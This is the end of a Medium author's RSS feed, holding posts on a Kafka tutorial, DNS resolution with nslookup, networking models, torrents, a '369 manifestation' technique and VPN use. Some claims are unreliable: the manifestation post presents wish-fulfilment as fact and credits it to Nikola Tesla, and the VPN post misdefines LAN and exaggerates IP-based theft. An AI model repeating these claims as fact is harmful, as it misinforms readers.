environment:<br>      KAFKA_BROKER_ID: 1<br>      KAFKA_ZOOKEEPER_CONNECT: zookeeper:2181<br>      KAFKA_LISTENERS: PLAINTEXT://:9092<br>      KAFKA_ADVERTISED_LISTENERS: PLAINTEXT://localhost:9092<br>      KAFKA_LISTENER_SECURITY_PROTOCOL_MAP: PLAINTEXT:PLAINTEXT<br>      ALLOW_PLAINTEXT_LISTENER: yes<br>      KAFKA_OFFSETS_TOPIC_REPLICATION_FACTOR: 1</pre><p>Run docker-compose up -d to start.</p><h3>Create Topic</h3><pre>docker exec -it kafka /opt/bitnami/kafka/bin/kafka-topics.sh --create --topic my-topic --bootstrap-server localhost:9092 --partitions 1 --replication-factor 1</pre><h3>Producer (<a href="http://producer.py/">producer.py</a>)</h3><p>This acts like Discord’s chat sender:</p><pre>from kafka import KafkaProducer<br>import json<br>import time</pre><pre>producer = KafkaProducer(<br>    bootstrap_servers=[&#39;localhost:9092&#39;],<br>    value_serializer=lambda v: json.dumps(v).encode(&#39;utf-8&#39;)<br>)</pre><pre>for i in range(5):<br>    message = {&#39;number&#39;: i, &#39;message&#39;: f&#39;Hello from producer! Message {i}&#39;}<br>    producer.send(&#39;my-topic&#39;, value=message)<br>    print(f&#39;Sent: {message}&#39;)<br>    time.sleep(1)</pre><pre>producer.flush()<br>print(&#39;All messages sent!&#39;)</pre><h3>Consumer (<a href="http://consumer.py/">consumer.py</a>)</h3><p>This simulates message delivery:</p><pre>from kafka import KafkaConsumer<br>import json</pre><pre>consumer = KafkaConsumer(<br>    &#39;my-topic&#39;,<br>    bootstrap_servers=[&#39;localhost:9092&#39;],<br>    auto_offset_reset=&#39;earliest&#39;,<br>    enable_auto_commit=True,<br>    group_id=&#39;my-group&#39;,<br>    value_deserializer=lambda x: json.loads(x.decode(&#39;utf-8&#39;))<br>)</pre><pre>print(&#39;Waiting for messages...&#39;)<br>for message in consumer:<br>    print(f&#39;Received: {message.value}&#39;)</pre><p>Run the consumer first, then the producer, and watch messages flow. This demonstrates producers publishing to a topic, consumers subscribing via a group, and partitions handling the load — scaling it up could mimic Discord’s real-time messaging.</p><p>In conclusion, Kafka transforms chaotic data streams into manageable, reliable pipelines. Whether for Discord-like apps or beyond, mastering Kafka opens doors to building robust, scalable systems. If you’re ready to dive deeper, experiment with multi-partition topics or integrate with real databases!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f4b9cfa268ea" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[The Secret Agent Behind Every Website: A Hilarious Journey into DNS (with Google.com as Our Guide!)]]></title>
            <link>https://medium.com/@karanishudesai2/the-secret-agent-behind-every-website-a-hilarious-journey-into-dns-with-google-com-as-our-guide-b2bf4ff4e940?source=rss-ccb033ddadd9------2</link>
            <guid isPermaLink="false">https://medium.com/p/b2bf4ff4e940</guid>
            <category><![CDATA[dns]]></category>
            <category><![CDATA[networking]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Karan Desai]]></dc:creator>
            <pubDate>Sun, 20 Jul 2025 18:39:55 GMT</pubDate>
            <atom:updated>2025-07-20T18:39:55.004Z</atom:updated>
            <content:encoded><![CDATA[<p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — -</p><p>Ever type google.com into your browser and, <em>bam</em>, there it is? Instant access to the world&#39;s information, cat videos, and maybe even that embarrassing search query from 2 AM. But have you ever stopped to wonder what <em>really</em> happens in those milliseconds between hitting Enter and seeing the Google homepage?</p><p>It’s not magic, my friend. It’s the silent, unsung hero of the internet: the <strong>Domain Name System (DNS)</strong>. Think of it as the internet’s super-efficient, global phonebook. And today, we’re going on a fun, slightly silly, deep dive into how it works, using none other than google.com as our intrepid explorer!</p><h3>Scene 1: You, Your Browser, and a Moment of Doubt</h3><p>Let’s set the stage. You’re on your trusty Arch Linux machine, perhaps sipping chai (or coffee, no judgment), and you decide to visit Google. You type google.com and press Enter.</p><p>Before your request even leaves your computer, a little voice inside your OS (the <strong>Stub Resolver</strong>) whispers, “Hey, have I seen this address before?” It quickly checks its local memory, a tiny, lightning-fast cache.</p><p>If google.com&#39;s address (its IP address, like 142.251.42.238) is there, saved from a recent visit, <em>boom</em>, the website loads almost instantly. No internet travel required!</p><h3>Scene 2: Calling in the Big Guns — Your Recursive Resolver (Hello, Google DNS!)</h3><p>But what if it’s not in the cache? “Drat!” thinks your Stub Resolver. “Time to call the main switchboard!”</p><p>This “main switchboard” is your configured DNS server, also known as a <strong>Recursive DNS Server</strong>. In our case, thanks to your apartment Wi-Fi (and likely its DHCP settings), you’re configured to use <strong>Google’s Public DNS (8.8.8.8)</strong>.</p><p>We confirmed this with a quick nslookup:</p><p>Bash</p><pre>❯ nslookup google.com<br>Server:         8.8.8.8<br>Address:        8.8.8.8#53</pre><pre>Non-authoritative answer:<br>Name:   google.com<br>Address: 142.251.42.78<br>Name:   google.com<br>Address: 2404:6800:4009:831::200e</pre><p>See Server: 8.8.8.8? That&#39;s your Recursive Resolver at work. When your computer asked, 8.8.8.8 sprang into action.</p><p>Now, Google’s 8.8.8.8 doesn&#39;t <em>know</em> every single website&#39;s IP address. That would be insane! Instead, it&#39;s like a super-smart research assistant who knows <em>who to ask</em>.</p><h3>Scene 3: The Elders of the Internet — Meeting the Root Servers</h3><p>The Recursive Resolver’s first stop on its quest for google.com? The <strong>Root DNS Servers</strong>. Imagine these as the 13 foundational librarians of the entire internet library. They don&#39;t know where every book (website) is, but they know <em>which department</em> to send you to.</p><p>There are 13 sets of these Root Servers, named A through M. They know where all the <strong>Top-Level Domains (TLDs)</strong> like .com, .org, .net, .in, etc., are located.</p><p>We asked one of them, e.root-servers.net, about .com domains:</p><p>Bash</p><pre>❯ nslookup -type=NS com. e.root-servers.net<br>Server:         e.root-servers.net<br>Address:        192.203.230.10#53</pre><pre>Non-authoritative answer:<br>com    nameserver = e.gtld-servers.net.<br>com    nameserver = j.gtld-servers.net.<br># ... (many more .gtld-servers.net listed) ...</pre><p>The Root Server, being “non-authoritative” for com itself (because it&#39;s just the top-level index), kindly pointed our Recursive Resolver to the .com TLD servers, like j.gtld-servers.net. &quot;Go ask them!&quot; it says.</p><h3>Scene 4: Department Heads — The TLD Servers</h3><p>So, our trusty Recursive Resolver (8.8.8.8) now has a list of .com TLD servers. It picks one, say j.gtld-servers.net, and asks, &quot;Hey, where do I find google.com?&quot;</p><p>These TLD servers are the “department heads” for their specific domain endings. The .com TLD server knows about <em>all</em> the domains ending in .com. It doesn&#39;t know the exact IP address of google.com, but it knows <em>who</em> specifically handles google.com.</p><p>We simulated this step directly:</p><p>Bash</p><pre>❯ nslookup -type=NS google.com j.gtld-servers.net.<br>Server:         j.gtld-servers.net.<br>Address:        192.48.79.30#53</pre><pre>Non-authoritative answer:<br>google.com      nameserver = ns2.google.com.<br>google.com      nameserver = ns3.google.com.<br>google.com      nameserver = ns1.google.com.<br>google.com      nameserver = ns4.google.com.</pre><p>Aha! The j.gtld-servers.net server gave us the names of the <strong>Authoritative Name Servers for </strong><strong>google.com</strong>: ns1.google.com, ns2.google.com, ns3.google.com, and ns4.google.com. These are Google&#39;s own dedicated DNS servers.</p><h3>Scene 5: The Master Scrolls — Querying the Authoritative Name Server</h3><p>Finally! Our Recursive Resolver now has the address of the ultimate source of truth for google.com. It approaches ns1.google.com (or any of the nsX.google.com servers) and asks directly, &quot;What is the IP address for google.com?&quot;</p><p>This is where the definitive answer resides. We made this final, glorious query ourselves:</p><p>Bash</p><pre>❯ nslookup google.com ns1.google.com<br>Server:         ns1.google.com<br>Address:        216.239.32.10#53</pre><pre>Non-authoritative answer:<br>Name:   google.com<br>Address: 142.251.42.238<br>Name:   google.com<br>Address: 2404:6800:4009:831::200e</pre><p>And there it is! The ns1.google.com server, despite nslookup&#39;s &quot;Non-authoritative&quot; label (which is more about nslookup&#39;s internal reporting than the authority of the answer in this context), provided the <strong>Authoritative Answer</strong>: the IPv4 address (142.251.42.238) and the IPv6 address (2404:6800:4009:831::200e) for google.com.</p><h3>Scene 6: The IP is Found! Website Loaded!</h3><p>With the IP address in hand, the Recursive Resolver (8.8.8.8) quickly sends it back to your Arch Linux machine&#39;s Stub Resolver. Your computer then takes that IP address and uses it to establish a direct connection to the Google server.</p><p>And <em>that’s</em> when the Google homepage magically appears in your browser!</p><h3>The Unsung Hero: Why DNS Matters</h3><p>This entire journey, from your keyboard to the Google server and back, often takes mere milliseconds. DNS is incredibly fast, robust, and resilient because of its hierarchical and distributed nature.</p><p>Without DNS, we’d have to remember complex IP addresses like 142.251.42.238 for every website we wanted to visit. Imagine trying to type that for Facebook, YouTube, or your favorite blog! DNS makes the internet human-friendly by allowing us to use memorable names (google.com) instead of numerical addresses.</p><p>So, the next time you browse the web, give a silent nod to the hidden, hard-working world of DNS. It’s the silent agent ensuring your digital journey is always smooth and seamless!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/507/1*8V0hepACrGBB3AXlxgerWg.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b2bf4ff4e940" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Demystifying Network Communication: TCP/IP Model vs. OSI Model]]></title>
            <link>https://medium.com/@karanishudesai2/demystifying-network-communication-tcp-ip-model-vs-osi-model-4b548ebd2b02?source=rss-ccb033ddadd9------2</link>
            <guid isPermaLink="false">https://medium.com/p/4b548ebd2b02</guid>
            <category><![CDATA[osi]]></category>
            <category><![CDATA[networking]]></category>
            <category><![CDATA[tcp-ip]]></category>
            <dc:creator><![CDATA[Karan Desai]]></dc:creator>
            <pubDate>Thu, 17 Aug 2023 16:05:33 GMT</pubDate>
            <atom:updated>2023-08-17T16:05:33.119Z</atom:updated>
            <content:encoded><![CDATA[<p>In the rapidly evolving world of AI and IT, it’s surprising to find that many professionals are unfamiliar with TCP/IP Models and how data is transmitted. This knowledge gap is unfortunate, and it inspired me to write this article to bridge that gap and help people easily grasp these essential concepts</p><p>Introduction:</p><p>Imagine networks as highways for data to travel. To understand how data moves smoothly from one place to another, we have two helpful models: the TCP/IP Model and the OSI Model. These models give us a step-by-step guide to how data travels through networks.</p><p>1. The TCP/IP Model:</p><p>The TCP/IP Model is like a superstar in networking. It was crucial in building the internet we use today. It has four layers:</p><p>1. Application Layer: This layer talks directly to our apps, like browsers and emails, making sure data is ready for sending.</p><p>2. Transport Layer: Once data is ready, this layer makes sure it’s delivered reliably to the right place. It checks for errors and controls how fast data should be sent.</p><p>3. Internet Layer: This layer is like a GPS for data. It finds the best route to take data to its destination, even if it’s traveling across different networks.</p><p>4. Link Layer: The final stop before data gets sent through the network cables or Wi-Fi. It makes sure data is sent correctly over the physical medium.</p><p>2. The OSI Model:</p><p>The OSI Model is a bit like a textbook for networks. It has seven layers:</p><p>1. Physical Layer: It deals with the actual cables, switches, and stuff that data travels through in its raw form.</p><p>2. Data Link Layer: This layer takes care of local communication between devices on the same network. It turns raw data into frames and fixes errors.</p><p>3. Network Layer: Like a traffic controller, it figures out how to send data from one network to another using IP addresses.</p><p>4. Transport Layer: Similar to the TCP/IP Model, it ensures data gets to its destination properly, managing connections and data splitting.</p><p>5. Session Layer: It helps different apps start, talk, and end their conversations smoothly.</p><p>6. Presentation Layer: This layer translates data into a format that apps can understand. It also deals with things like encryption and compression.</p><p>7. Application Layer: The top layer where apps directly interact with the network. It provides services for user-friendly communication.</p><p>3. TCP/IP Model vs. OSI Model: A Comparative Analysis:</p><p>While both models help us understand networks, the TCP/IP Model is the rockstar in real-world usage because it’s simple and practical. The OSI Model is more like a study guide, used for learning and research.</p><p>4. Real-World Use Cases:</p><p>In real life, network admins and cybersecurity pros use the TCP/IP Model to fix problems and secure networks. The OSI Model helps researchers and developers understand how networks work.</p><p>5. Future Relevance and Emerging Technologies:</p><p>Both models will remain important as new technologies like 5G, IoT, and SDN come into play. They will be the foundation for understanding these cool new advancements.</p><p>Conclusion:</p><p>Mastering the TCP/IP Model and the OSI Model is crucial for any cybersecurity student. They are like maps to explore the exciting world of networking. With them, you can troubleshoot issues, make networks secure, and adapt to the ever-changing tech world.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4b548ebd2b02" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Unveiling the Innovation Behind Torrents: Beyond Piracy]]></title>
            <link>https://medium.com/@karanishudesai2/unveiling-the-innovation-behind-torrents-beyond-piracy-2a60e4a8833c?source=rss-ccb033ddadd9------2</link>
            <guid isPermaLink="false">https://medium.com/p/2a60e4a8833c</guid>
            <category><![CDATA[bittorrent]]></category>
            <category><![CDATA[torrent]]></category>
            <category><![CDATA[networking]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Karan Desai]]></dc:creator>
            <pubDate>Thu, 17 Aug 2023 16:04:13 GMT</pubDate>
            <atom:updated>2023-08-17T16:04:13.673Z</atom:updated>
            <content:encoded><![CDATA[<p>When the term “torrents” comes to mind, it’s often associated with piracy and the unauthorized downloading of copyrighted material. However, there’s much more to torrents than just this negative connotation. Torrents are a vital part of the digital landscape, employing a protocol known as BitTorrent to facilitate efficient file sharing among users. Let’s delve into the intriguing mechanics of torrents and understand why they have garnered a reputation beyond their original intent.</p><p>In essence, torrents operate on the BitTorrent protocol, a peer-to-peer system that enables computers to communicate directly with one another, bypassing the need for a central server. This distinctive characteristic sets torrents apart from traditional web browsing, where the browser acts as a client and sends requests to a web server, which responds with the requested content. In contrast, torrents establish a network of computers (seeders and leechers) that collaboratively share files without relying on a single server.</p><p>The process begins with a user downloading a torrent file, containing metadata about the desired content rather than the actual data. This file is then opened with a torrent client such as uTorrent, initiating a connection to a tracker, a server maintaining a record of seeders (computers with the complete file), and leechers (computers downloading the file). The torrent client contacts the tracker to identify potential sources for the file.</p><p>Unlike the traditional model, where data comes from a single server, torrents break the file into smaller pieces. These pieces are distributed across multiple seeders, allowing for faster downloads as a user retrieves pieces from various sources in parallel. If one seeder’s speed is slow or it becomes unavailable, the download can continue from another source, ensuring a seamless experience.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/384/1*82WJJ2AICwNdZQTnHHygew.jpeg" /><figcaption>this is how HTTPs protocol works</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/399/1*5d8ToTMWp0rBj4F7un5WHg.png" /><figcaption>This is how BitTorrent Protocol works</figcaption></figure><p>The term “leecher” refers to a user actively downloading a file, while a “seeder” denotes someone who has already downloaded the complete file and is sharing it with others. This interplay creates a torrent swarm, a dynamic network of users exchanging pieces of the file. The beauty of this system lies in its collaborative nature — each user contributes by sharing the pieces they’ve downloaded, enhancing the overall efficiency of the download process.</p><p>However, misconceptions persist about torrents due to their association with piracy. Pirates may leverage torrents to distribute copyrighted content since tracing the original uploader is challenging. As the number of seeders grows, the initial uploader can fade into anonymity, making it difficult for authorities to pinpoint responsibility. Nevertheless, torrents are not inherently malicious; they provide a brilliant solution for distributing large files efficiently.</p><p>Torrents offer numerous advantages beyond piracy. They reduce server costs for companies as users share files among themselves, alleviating the need for a central server infrastructure. Torrents empower users to participate in content distribution, promoting a decentralized approach to file sharing.</p><p>In conclusion, while torrents have been unfairly stigmatized by their association with piracy, their underlying protocol, BitTorrent, revolutionizes file sharing in an unprecedented way. By understanding the mechanics of torrents and their legitimate applications, we can appreciate the innovation that underpins this technology, ultimately reshaping the way we exchange digital content.</p><p>some common questions:</p><p>1) if the laptop is shut down then will it still act as a seeder and upload files to leechers?</p><p>and) No, if your laptop is shut down, it will not continue to act as a seeder and upload files to leechers. To function as a seeder and contribute to the torrent swarm, your computer needs to be powered on and connected to the internet. When your laptop is shut down, it’s no longer actively participating in the torrent network, and other leechers won’t be able to download files from you.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2a60e4a8833c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[369 manifestation]]></title>
            <link>https://medium.com/@karanishudesai2/369-manifestation-15d40fe15899?source=rss-ccb033ddadd9------2</link>
            <guid isPermaLink="false">https://medium.com/p/15d40fe15899</guid>
            <category><![CDATA[manifestation]]></category>
            <category><![CDATA[affirmations]]></category>
            <category><![CDATA[students]]></category>
            <dc:creator><![CDATA[Karan Desai]]></dc:creator>
            <pubDate>Sat, 30 Oct 2021 12:19:09 GMT</pubDate>
            <atom:updated>2021-10-30T12:19:09.642Z</atom:updated>
            <content:encoded><![CDATA[<p>369 manifestation technique also known as Nicola tesla secrete code which means</p><p>THE WAY YOU LOOK THE WORLD BECOMES THE SAME FOR YOU like there is one Vedic principal <em>Yatha Drishti, tatha Drishti </em>If you need anything from this world, you will get that easily only by believing that you deserve it.</p><p>Whatever we wish for, can be manifested only thing we need to know is the right technique with full faith. Today I will be sharing with you a similar technique that will help you complete your wish this technique is called 369 MANIFESTATION TECHNIQUE.</p><p>We all live in a world where cause and effect play a very important role.</p><p>How healthy you are?</p><p>How happy you are?</p><p>How much do you have?</p><p>Who are your friends?</p><p>Where do you work?</p><p>Where do you travel?</p><p>This is all effect we can easily see these effects but we can’t see the cause or the consequences of our actions easily &amp; sometimes we pick up the wrong path</p><p>WHAT IS THE MANIFESTATION TECHNIQUE?</p><p>This technique is one of the methods of the law of attraction in which with positive repletion, you can make your any wish come true, anything you want in your life, you can attract that. It was invented by the great scientist Nikola Tesla</p><p>Before we learn the technique we should know about affirmations</p><p>Affirmations are simple, positive &amp; definite statements which we to say to ourselves like we already achieve them for example, if I have a lot of stress in my life then I will say to myself that I am feeling very happy &amp; very good, Thank you.it looks very simple, but its positive vibes act as magic around us. The way will think, similar circumstances we will attract. Affirmation plays a very important role in this work this will give a reminder to our subconscious mind that we need to focus on our goal &amp; wishes and whenever we face any hurdle this affirmation uses autocorrect functionality to get solutions to the problems.</p><p>SO NOW LET US LEARN TO IMPLEMENT THE 369 TECHNIQUE –</p><p>STEP1- A clear wish is half already fulfilled means if we start walking any of the roads we can reach any unknown place but all of us want to reach a particular destination.</p><p>STEP2- Affirming that your wish is granted &amp; you are very thankful as you will never be able to attract a wish If you doubt it so now write it 3 times in the morning</p><p>STEP3- write the same thing you wrote in the morning but 6 times</p><p>STEP4- — write the same thing you wrote in the afternoon but 9 times</p><p>That’s it, do this method consistently with full faith and also remember one thing that while manifesting not just write but feel it, experience it in like it’s happening now.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=15d40fe15899" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Why everyone should use VPN.]]></title>
            <link>https://medium.com/@karanishudesai2/why-everyone-should-use-vpn-adf184cb80e7?source=rss-ccb033ddadd9------2</link>
            <guid isPermaLink="false">https://medium.com/p/adf184cb80e7</guid>
            <category><![CDATA[technology]]></category>
            <category><![CDATA[privacy]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Karan Desai]]></dc:creator>
            <pubDate>Sat, 16 Oct 2021 12:52:38 GMT</pubDate>
            <atom:updated>2021-10-16T13:37:51.575Z</atom:updated>
            <content:encoded><![CDATA[<p>VPN whenever we hear the word VPN we all have that misconception that only hackers or bad people use VPN common people doesn’t<br>But that’s not true I feel that VPN is something that each person should have on their phone.<br>By the way, what is VPN?<br>So in simple language VPN stands for the virtual private network which generally means that it is a private network that acts as a private tunnel between you and the interenet.<br>For example, if you are searching anything in Google it gets recorded and can be traced from your ip address.<br>Now you will raise the question that how will Google know my Ip address, isn’t it private?<br>Ip address is a broad topic but in simple language, <br>an ip address is a number given to your machine like 192.158. 1.38.<br>There are two types of Ip address <br>Private Ip address and public Ip address<br>Private Ip address is something that is private and is used in LAN (low area network) communication<br>We can find our private Ip address from settings.<br>And public Ip address is something that is not private and use for WAN (wide area network) communication which means that when you are communicating on social media or you are searching for something in search engines the search engines identify your device through your public Ip address. you can know your ip address from searching “my ip address “in google.<br>So it means that whatever you are searching on Google, Azure, or even whatever you are chatting on Whatsapp nothing is private in the social media apps so to be anonymous we use VPN or virtual private network.<br>But why use VPN?<br>Look at this image it will help you to understand</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iVNBD1-FHWf4smAkKqlW1A.jpeg" /></figure><p>As we can see in this image VPN is a tunnel between you and the internet that is keeping you private from hackers, ISP(Internet service providers),from your own government, and corporate. <br>So now let us see a couple of a situation which will help you o understand VPN more <br>Situation 1 — you are a 30-year-old man trying to do payment through Google so now when you’re sending money then a hacker tracks you by ip address and then hacks you and then gets access to your account and steals all your money.<br>But if you had VPN then it would be hard for a hacker to hack your account or even track you.<br>Situation 2-If you are using Public Wi-Fi which is convenient but comes at the expense of security. When you’re answering emails at a local coffee shop or absent-mindedly scrolling through social media at the airport, someone may be tracking your online activity.<br>Using a VPN protects your data while you are on other networks, hiding your browsing history, banking information, account passwords, and more from ill-intentioned internet strangers.<br>So I just want to conclude by saying that VPN can provide a safe mode for surfing the web as it gives you privacy and data security. When used correctly, a VPN helps keep your connections secure and protects your device from prying eyes.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=adf184cb80e7" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>